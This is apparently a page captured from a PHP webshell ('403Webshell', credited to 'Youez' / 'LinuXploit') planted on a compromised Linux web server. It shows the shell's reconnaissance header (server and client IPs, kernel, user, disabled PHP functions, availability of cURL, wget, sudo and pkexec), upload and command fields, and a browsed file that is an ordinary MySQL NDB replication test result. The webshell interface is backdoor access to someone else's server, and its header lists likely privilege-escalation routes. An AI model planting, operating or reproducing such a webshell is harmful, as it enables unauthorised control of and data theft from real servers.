403Webshell
Server IP : 172.67.216.182  /  Your IP : 162.158.108.124
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_rpl/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_rpl/r/ndb_rpl_idempotent.result
include/master-slave.inc
Warnings:
Note	####	Sending passwords in plain text without SSL/TLS is extremely insecure.
Note	####	Storing MySQL user name or password information in the master info repository is not secure and is therefore not recommended. Please consider using the USER and PASSWORD connection options for START SLAVE; see the 'START SLAVE Syntax' in the MySQL Manual for more information.
[connection master]
CREATE TABLE t1 (c1 CHAR(15), c2 CHAR(15), c3 INT, PRIMARY KEY (c3)) ENGINE = NDB ;
STOP SLAVE;
RESET MASTER;
RESET SLAVE;
START SLAVE;
INSERT INTO t1 VALUES ("row1","will go away",1);
SELECT * FROM t1 ORDER BY c3;
c1	c2	c3
row1	will go away	1
SELECT @the_epoch:=MAX(epoch) FROM mysql.ndb_apply_status;
@the_epoch:=MAX(epoch)
<the_epoch>
SELECT * FROM t1 ORDER BY c3;
c1	c2	c3
row1	will go away	1
INSERT INTO t1 VALUES ("row2","will go away",2),("row3","will change",3),("row4","D",4);
DELETE FROM t1 WHERE c3 = 1;
UPDATE t1 SET c2="should go away" WHERE c3 = 2;
UPDATE t1 SET c2="C" WHERE c3 = 3;
DELETE FROM t1 WHERE c3 = 2;
SELECT * FROM t1 ORDER BY c3;
c1	c2	c3
row3	C	3
row4	D	4
SELECT * FROM t1 ORDER BY c3;
c1	c2	c3
row3	C	3
row4	D	4
include/check_slave_is_running.inc
STOP SLAVE;
include/check_slave_no_error.inc
call mtr.add_suppression("NDB Slave : At SQL thread start applying epoch .*");
START SLAVE;
SELECT * FROM t1 ORDER BY c3;
c1	c2	c3
row3	C	3
row4	D	4
SELECT * FROM t1 ORDER BY c3;
c1	c2	c3
row3	C	3
row4	D	4
STOP SLAVE;
DROP TABLE t1;
RESET master;
DROP TABLE t1;
RESET slave;
START SLAVE;
CREATE TABLE t1 (c1 CHAR(15) NOT NULL, c2 CHAR(15) NOT NULL, c3 INT NOT NULL, PRIMARY KEY (c3)) ENGINE = NDB ;
INSERT INTO t1 VALUES ("row1","remove on slave",1);
DELETE FROM t1;
BEGIN;
UPDATE t1 SET c2="does not exist" WHERE c3=1;
INSERT INTO t1 VALUES ("row2","new on slave",2);
COMMIT;
SELECT * FROM t1;
c1	c2	c3
row2	new on slave	2
include/check_slave_is_running.inc
DROP TABLE IF EXISTS t1;
STOP SLAVE;
RESET MASTER;
RESET SLAVE;
START SLAVE;
Let's interleave some DDL and DML in the Binlog
Some DDL
create table t1(a int primary key) engine=ndb;
First epoch transaction
begin;
insert into t1 values (1), (2), (3);
commit;
Sync slave and retrieve epoch
SELECT @first_epoch:=MAX(epoch) FROM mysql.ndb_apply_status;
@first_epoch:=MAX(epoch)
<first_epoch>
Slave contents
select * from t1 ORDER by a;
a
1
2
3
Get the next master binlog pos from the epoch
Now let's do some more DDL and DML
create table t2 (a int primary key) engine=ndb;
begin;
insert into t2 values (1), (2), (3);
commit;
include/check_slave_is_running.inc
Stop slave and reset position to start of the applied epoch
STOP SLAVE;
include/check_slave_no_error.inc
call mtr.add_suppression("Slave: Table \'t2\' already exists .*");
call mtr.add_suppression("Slave SQL for channel '': Error \'Table \'t2\' already exists\' .*");
START SLAVE;
include/wait_for_slave_sql_error.inc [errno=1050]
Last_SQL_Error = 'Error 'Table 't2' already exists' on query. Default database: 'test'. Query: 'create table t2 (a int primary key) engine=ndb''
STOP SLAVE;
RESET MASTER;
RESET SLAVE;
START SLAVE;
DROP TABLE t1;
DROP TABLE t2;
include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit